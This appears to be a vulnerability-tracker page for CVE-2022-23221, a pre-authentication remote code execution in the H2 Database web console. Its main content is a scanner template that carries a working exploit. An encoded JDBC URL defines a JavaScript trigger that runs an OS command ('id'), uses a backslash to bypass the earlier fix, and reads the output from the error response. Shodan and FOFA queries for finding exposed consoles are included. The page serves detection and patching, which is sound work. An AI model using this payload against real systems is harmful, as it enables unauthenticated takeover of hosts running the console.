CVE-2022-23221: H2 Database Console - JDBC URL Pre-Auth RCE

2026-11-29 PoC Public

Description

H2 Database from 1.4.198 up to (but not including) 2.1.210 is affected by a pre-authentication remote code execution in the web console. The 1.4.198 fix for CVE-2018-10054 appends FORBID_CREATION=TRUE to the JDBC URL, but it can be bypassed by ending the URL with a backslash. Combined with a JDBC URL that defines an INIT trigger running a JavaScript block, an unauthenticated attacker who can reach the console runs arbitrary OS commands; the command output is reflected in the error response.

Details

CVE
CVE-2022-23221 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2022-23221

info:
  name: H2 Database Console - JDBC URL Pre-Auth RCE
  author: Ayham970
  severity: critical
  description: |
    H2 Database from 1.4.198 up to (but not including) 2.1.210 is affected by a pre-authentication remote code execution in the web console. The 1.4.198 fix for CVE-2018-10054 appends FORBID_CREATION=TRUE to the JDBC URL, but it can be bypassed by ending the URL with a backslash. Combined with a JDBC URL that defines an INIT trigger running a JavaScript block, an unauthenticated attacker who can reach the console runs arbitrary OS commands; the command output is reflected in the error response.
  impact: |
    An unauthenticated attacker can execute arbitrary operating system commands on the host running the H2 web console.
  remediation: |
    Upgrade H2 Database to 2.1.210 or later, and disable the web console or restrict access to it.
  reference:
    - https://github.com/vulhub/vulhub/tree/master/h2database/CVE-2022-23221
    - https://www.leavesongs.com/PENETRATION/talk-about-h2database-rce.html
    - https://github.com/advisories/GHSA-45hx-wfhj-473x
    - https://github.com/h2database/h2database/releases/tag/version-2.1.210
    - https://nvd.nist.gov/vuln/detail/CVE-2022-23221
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-23221
    epss-score: 0.2968
    epss-percentile: 0.98612
    cwe-id: CWE-94
    cpe: cpe:2.3:a:h2database:h2:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: h2database
    product: h2
    shodan-query: http.title:"H2 Console"
    fofa-query: 'title="H2 Console"'
  tags: cve,cve2022,h2database,rce,jdbc,java,intrusive

http:
  - raw:
      - |
        GET /h2-console/ HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /h2-console/login.do?jsessionid={{jsessionid}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        driver=org.h2.Driver&url=jdbc%3Ah2%3Amem%3Atest%3BMODE%3DMSSQLServer%3BFORBID_CREATION%3DFALSE%3BINIT%3DCREATE%20TRIGGER%20shell%20BEFORE%20SELECT%20ON%20INFORMATION_SCHEMA.TABLES%20AS%20%24%24%2F%2Fjavascript%0Avar%20is%20%3D%20java.lang.Runtime.getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%0Avar%20scanner%20%3D%20new%20java.util.Scanner%28is%29.useDelimiter%28%22%5C%5CA%22%29%0Athrow%20new%20java.lang.Exception%28scanner.next%28%29%29%0A%24%24%3BAUTHZPWD%3D%5C&user=sa&name=sa&password=

    extractors:
      - type: regex
        name: jsessionid
        group: 1
        internal: true
        regex:
          - 'jsessionid=([0-9a-zA-Z-]+)'

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "org.h2.")'
          - 'regex("uid=[0-9]+\\([a-z0-9_-]+\\) gid=[0-9]+\\(", body)'
        condition: and
# digest: 490a00463044022050e7d1d212dd77d605179352132af646338bdf4d7b0ac3e41684a60c95fbddb202201ddd51514f4cad706b2af9d2aa4133321ddc7a52c8adb089b7192e629980771a:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life